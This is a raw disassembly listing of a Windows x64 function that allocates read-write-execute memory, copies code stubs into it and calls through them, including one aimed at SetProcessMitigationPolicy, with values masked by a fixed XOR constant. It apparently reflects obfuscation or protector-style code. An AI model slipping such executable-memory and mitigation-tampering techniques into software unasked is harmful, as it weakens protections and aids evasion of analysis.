mov qword [0x14125a240], rax
lea rcx, [fcn.140065050]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r13], rbx
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x140079b7c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp - 0x18]
test rdi, rdi
je 0x140079b8e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x50], r14d
mov qword [rsp + 0x48], 4
lea rax, [rbp + 0x50]
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs rcx, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
lea r13, [0x14007fee0]
mov rax, qword [0x1412598d0]
test rax, rax
je 0x140079c2c
mov rdx, r14
cmp rax, r13
je 0x140079c1b
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x12598d0]
test rax, rax
jne 0x140079c03
jmp 0x140079c2c
mov rdi, qword [r15 + rdx*8 + 0x125b890]
test rdi, rdi
jne 0x140079d0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079c53
mov rdi, r14
jmp 0x140079cee
mov rax, r13
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079c60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a258]
mov qword [r15 + rax*8 + 0x12598d0], r13
mov qword [r15 + rax*8 + 0x125b890], rdi
inc rax
mov qword [0x14125a258], rax
lea r9, [rsp + 0x48]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea r13, [rbp + 0x3528]
movabs rax, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x18], rbx
mov qword [r13], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140079d8a
mov rdx, r14
cmp rax, rsi
je 0x140079d79
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140079d61
jmp 0x140079d8a
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x140079e6f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079db1
mov rdi, r14
jmp 0x140079e4e
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079dc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x140060620]
call rdi
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r13], rbx
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140079ed1
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140079ec3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140079ec3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140117e70
jmp 0x140079ed1
lea rsi, [0x14007fe80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
movabs r13, 0xff00ff00ff00ff07
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x140079f39
mov rdx, r14
cmp rax, rsi
je 0x140079f28
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x140079f10
jmp 0x140079f39
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007a01f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140079f60
mov rdi, r14
jmp 0x140079ffe
mov rax, rsi
mov rcx, rdi
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140079f70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x140071220]
call rdi
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
lea rax, [rbp + 0x3528]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x18], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x14125b250]
test rax, rax
je 0x14007a081
mov rdx, r14
cmp rax, rsi
je 0x14007a070
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x125b250]
test rax, rax
jne 0x14007a058
jmp 0x14007a081
mov rdi, qword [r15 + rdx*8 + 0x12595b0]
test rdi, rdi
jne 0x14007a15f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x14007a0a8
mov rdi, r14
jmp 0x14007a13e
mov rax, rsi
mov rcx, rdi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r12, 1
jne 0x14007a0b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14125a240]
mov qword [r15 + rax*8 + 0x125b250], rsi
mov qword [r15 + rax*8 + 0x12595b0], rdi
inc rax
mov qword [0x14125a240], rax
lea rcx, [0x1400657f0]
call rdi
nop
mov rax, qword [rbp - 0x10]
xor rax, r13
lea rcx, [rbp + 0x3528]
mov qword [rcx], rax
xor eax, eax
mov rcx, qword [rbp + 0x34d0]
xor rcx, rsp
call fcn.140117bc0
lea r11, [rsp + 0x3600]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret